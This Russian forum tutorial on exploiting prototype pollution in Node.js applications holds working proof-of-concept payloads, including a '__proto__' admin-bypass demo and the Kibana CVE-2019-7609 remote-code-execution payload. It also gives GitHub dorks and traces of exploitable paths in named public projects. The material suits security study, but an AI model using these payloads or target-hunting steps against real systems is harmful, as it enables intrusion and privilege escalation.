LIMB
Вход Регистрация

тема

Prototype Pollution: опасность в непосредственности

ocean · · 0 ответов · 441 просмотров

Эксклюзивно для форума LIMB.cc

Эта статья продолжает первую часть, в которой разбирались основы уязвимости, и фокусируется на практической эксплуатации и построению понятного воркфлоу.

Обнаружение Prototype Pollution​

На первом этапе эксплуатации необходимо обнаружить Prototype Pollution.

В целом этапов всего три: после обнаружения следует установить способ передачи данных в уязвимую точку и далее найти гаджет для успешной атаки.

Напомню, что сама уязвимость - это возможность загрязнить Object.prototype.

Точки возникновения:

- Небезопасное рекурсивное слияние (Unsafe Object recursive merge) - функция рекурсивно обходит объект и сливает прототип 

JavaScript:
function merge(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) {
                target[key] = {};
            }
            merge(target[key], source[key]);
        } else {
            target[key] = source[key]
        }
    }
    return target;
}

- Определение свойства по пути (Property definition by path) - функция специально интерпретирует строку пути 

JavaScript:
function setValue(obj, path, value) {
    const keys = path.split('.');
    let current = obj;
    
    for (let i = 0; i < keys.length - 1; i++) {
        const key = keys[i];
        if (!current[key]) {
            current[key] = {};
        }
        current = current[key];
    }
    
    const lastKey = keys[keys.length - 1];
    current[lastKey] = value;
}

В merge сливаются все свойства из одного объекта в другой, в set устанавливается одно конкретное свойство по конкретному пути, например: setValue(config, userInput.path, userInput.value).

Иногда выделяют JSON.parse() в контексте операций слияния, а также операции клонирования, опять же в контексте рекурсивного слияния с пустым объектом, типа merge({}, source). Но все это в любом случае происходит в контексте небезопасных операций слияния!

Функции, основные подозреваемые на предмет загрязнение прототипа: merge, deepMerge, extend, assignDeep, mergeDeep, set, setDeep, put, update, cloneDeep, deepClone, copyDeep, clone, defaultsDeep, mergeWith.


Библиотека: https://www.npmjs.com/package/merge-recursive (4000+ загрузок в неделю)

Функционал заключается в слиянии объектов.

Не удалось прогрузить медиа


Просмотрим код визуально - в первую очередь функции, которые я выделил выше.

Участок кода - https://github.com/UmbraEngineering/node-merge-recursive/blob/master/lib/index.js - не содержит проверку на опасные ключи. Реализация выглядит такой, что потенциально ведет к отравлению прототипа.

Концепция:

JavaScript:
const merge = require('merge-recursive');

let obj = {};
let malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');

merge.recursive(obj, malicious);

console.log({}.polluted);
console.log(Object.prototype.polluted);

В консоли:
yes
yes

Обнаружено!

В последствии было установлено, что это переоткрытая CVE-2018-3751 

Чисто номинально обнаружить уязвимость таким способом достаточно просто. Например, в библиотеке annotator https://github.com/openannotation/annotator подтягивается merge-функция из библиотеки backbone-extend-standalone, которая демонстрирует признаки prototype pollution в реализации https://github.com/gre/backbone-extend-standalone/blob/master/backbone-extend-standalone.js

Не удалось прогрузить медиа


Аналогично выглядит функция extend в библиотеке dojo https://github.com/dojo/dojo

Не удалось прогрузить медиа



В приложении уже есть гаджеты, и они ни о чем не подозревают.

Только никакого приложения на данный момент у нас нет, я лишь показал пример prototype pollution на библиотеке, поэтому на данном этапе мы договоримся его представить.

JavaScript:
const config = require('./config');
const child_process = require('child_process');

function runCommand (obj) {
  const cmd = obj.command;
  child_process.exec(cmd);
}

Условно где-то в коде приложения есть вызов child_process. Функция runCommand принимает объект и далее передает obj.command в child_process.exec, выполняя команду. Получается RCE.

Гаджет может быть и более простым. Например, таким, что проверяет роль для доступа к эндпоинту. пример приближен к реальности

JavaScript:
const express = require('express');
const merge = require('merge-recursive');
const app = express();
const port = 3000;

app.use(express.json());

const users = {
  'admin': { username: 'admin', role: 'admin' },
  'user1': { username: 'user1', role: 'user' }
};

app.post('/api/update-profile', (req, res) => {
  const { username, settings } = req.body;
 
  if (!users[username]) {
    return res.status(404).json({ error: 'User not found' });
  }
 
  let userSettings = users[username].settings || {};

  merge.recursive(userSettings, settings);
 
  users[username].settings = userSettings;
 
  res.json({
    message: 'Profile updated',
    settings: users[username].settings
  });
});

app.get('/api/admin/data', (req, res) => {
  const userRole = req.query.role || 'guest';
 
  if (userRole.isAdmin === true) {
    return res.json({
      secret: 'Super admin data: FLAG{PROTOTYPE_POLLUTION_SUCCESS}',
      users: users
    });
  }
 
  res.status(403).json({ error: 'Access denied' });
});

app.get('/api/check-pollution', (req, res) => {
  const result = {
    polluted: {}.polluted,
    isAdmin: 'guest'.isAdmin,
    objectProto: Object.prototype.polluted,
    stringProto: String.prototype.isAdmin,
    arrayProto: Array.prototype.isAdmin
  };
 
  res.json(result);
});

app.listen(port, () => {
  console.log(`Server running at http://localhost:${port}`);
  console.log('\nДоступные эндпоинты:');
  console.log(`1. POST http://localhost:${port}/api/update-profile`);
  console.log(`2. GET http://localhost:${port}/api/admin/data?role=guest`);
  console.log(`3. GET http://localhost:${port}/api/check-pollution`);
});

console.log('\n=== Пример эксплуатации ===\n');

const maliciousPayload = {
  username: 'user1',
  settings: JSON.parse('{"__proto__": {"polluted": "yes", "isAdmin": true}}')
};

console.log('Payload для прототипного загрязнения:');
console.log(JSON.stringify(maliciousPayload, null, 2));

console.log('\nДо атаки:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('{}.polluted:', {}.polluted);

const obj = {};
merge.recursive(obj, maliciousPayload.settings);


console.log('\nПосле атаки:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('{}.polluted:', {}.polluted);
console.log('"any string".isAdmin:', "any string".isAdmin);

В абсолютной реальности все может быть немного сложнее. На примере CVE-2019-7609 в Kibana 5.6.15 - 6.6.1 суть пейлоада в следующем:

Первый запрос
JavaScript:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("touch /tmp/pwned");process.exit()//')
устанавливает переменную окружения AAAA в строку с JS-кодом. Команда touch /tmp/pwned условна и просто создает файл, нужна для демонстрации.

Второй запрос
JavaScript:
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
устанавливает переменную NODE_OPTIONS, указывая Node.js выполнить код из /proc/self/environ.

Суть заклинания:

/proc/self/environ - это виртуальный файл Linux, содержащий переменные окружения процесса.
Первым запросом туда засунули env.AAAA = 'require("child_process")...'.

Node.js, получив команду --require /proc/self/environ, в итоге пытается загрузить каждую переменную окружения как JS-код, включая первый пейлоад.

Список известных гаджетов в рамках Node.js, Deno и ряда некоторых библиотек собраны в репозитории KTH-LangSec - https://github.com/KTH-LangSec/server-side-prototype-pollution

Для использования они должны быть в приложении!


Итак, формируется флоу:

Нашли PP (источник).
Нашли синки (места, где загрязнение может быть использовано).
Попадают ли туда пользовательские данные? Нет санитизации/валидации, данные доходят без фильтрации?
Компануем эксплоит на основе доступных гаджетов, полученных в ходе анализа приложений.


Поиск приложений​

Гитхаб дорка - "merge-recursive": (на этом этапе стало очевидно что это CVE-2018-3751). Для конкретной версии - "merge-recursive": "0.0.3". Обнаружит все проекты, которые используют уязвимую библиотеку.

Библиотека должна быть упомянута в файле package.json. Если она есть в файле package-lock.json, но не в package.json, вероятно это значит, что ее использует другая библиотека. Тогда сперва нужно понять, каким именно образом.

Помимо факта наличия, она должна быть использована в рамках кодовой базы! Да, вполне может быть такое, что библиотека подключена, но либо уязвимая функция не используется, либо библиотека не используется в принципе.

Например, в проекте https://github.com/goddie9x/group_chat_api/blob/main/package.json присутствует merge-recursive, но по факту она вообще не используется в приложении.

В уязвимую функцию должен попадать пользовательский ввод. Например, в проекте https://github.com/UmbraEngineering/node-rest-auth используется merge-recursive.
merge используется для options. options - не пользовательские данные, а конфигурация работы аутентификации. Пользовательские данные нигде не попадают в merge.recursive() и вообще не попадают в options. Вообще никогда. В этом коде это физически невозможно.

Помимо этого не должно быть валидации и фильтрации. Репозиторий https://github.com/prosper-community/prosper-website-cms - prosper-website-cms. Использует уязвимую версию lodash - 4.16.0. (Подробнее - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/lodash)
prosper-website-cms - форк ghost-cms. В пагинации попадает пользовательский ввод, но он фильтруется: https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/helpers/pagination.js. Другие точки приложения оборачиваются валидатором - https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/data/validation/index.js.

Вероятность потенциального попадания пользовательских данных можно оценить на основе функционала; в идеале это легковесная библиотека с конкретной задачей, которая будет вызвана на самых верхних слоях приложения.

В репозитории https://github.com/absalan/openpaas-esn (форк времен наличия уязвимой библиотеки) используется extend версии 3.0.0; софт представляет собой платформу для корпоративной почты.

Прототип поллюшен в экстенд - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/extend.

В файле core/user/index.js метод extend используется

Не удалось прогрузить медиа


в функции extendUserTemplate, которая является частью функции provisionUser, с аргументом data.

Точка входа - файл addmember.js, пользовательские данные formValues = data.body.data.

Не удалось прогрузить медиа


Далее они идут в createUser.

data - это formValues.

Не удалось прогрузить медиа


Далее данные попадают в provisionUser, которая, в свою очередь, использует уязвимый extend.

Третий этап – обнаружение гаджетов.

В первую очередь желательно хорошо понимать, что делает приложение.

Главный принцип фокуса – места, где приложение доверяет объектам! Точка if (object.property === *) – потенциальный гаджет; даже шире – if(object.property).
Например, переопределение .length: участок кода for (let i = 0; i < arr.length; i++) { ... } ---> Object.prototype.length = Infinity; - DoS в рамках приложения.

По сути, схема такова: Object.prototype.pollutedProp → if (...) → impact.

В автоматизации поиска гаджетов может помочь pp-finder: https://github.com/yeswehack/pp-finder

Он парсит каждый JavaScript-код в каждом файле в директории, в которой запускается, подсвечивая именно те места, где происходят потенциально опасные операции. PP-Finder находит синки. Он ищет конкретный паттерн кода, называя их transformer. Официальной документации нет; моя интерпретация:

"elementAccess" – доступ к свойству через скобки, например obj[key] = value (где key может контролироваться пользователем);
"expressionStatement";
"propertyAccess" – доступ к свойству через точку, obj.property = value;
"variableDeclaration" – объявление переменных;
"objectLiteral" – литералы объектов, например Object.assign({}, userInput);
"forInStatement" – цикл for...in: for (const key in obj);
"inExpression" – оператор in: key in obj;
"arrowFunction", "functionDeclaration", "functionExpression" – объявление функций.


Минусы – он пробивает все пакеты node_modules; там вереница методов, функций, но сколько из них реально будет использовано в приложении? Вовсе не обязательно будут.
Логирует все for...in, все obj[key], все присваивания – очень много участков. Паттерн вовсе не значит эксплуатация.

Интересный инструмент, но по сути его лучше использовать в связке с ручным анализом, а иногда быстрее будет обойтись без него.

Для запуска: npm install pp-finder, node pp-finder ./main.js. В логе сокращение от transformer, например elem – это elementAccess.

В проекте https://github.com/ihh/wikimess, который также использует уязвимую версию extend, в файле isAdmin.js происходит проверка на то, является ли пользователь администратором. Изменение player.admin на true приведет к повышению привилегий. Это гаджет.

Не удалось прогрузить медиа


XSS возможен, если polluted-свойство используется при рендеринге HTML / DOM – это гаджет.

SQL – если запрос полагается на объект, прокидывая его без валидации – это гаджет.

Резюмируя, интереснее всего работать в формате, в рамках которого мы хорошо понимаем, что делает приложение: формируем базу 1/0 уязвимостей, прогоняем приложение на предмет наличия этих библиотек (создавая приватную версию npm audit); далее просматриваем приложение на предмет используемых функций, формируя векторы потенциальных атак исходя из обнаруженных гаджетов.
👍40 ❤️11 👏6 💯8

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.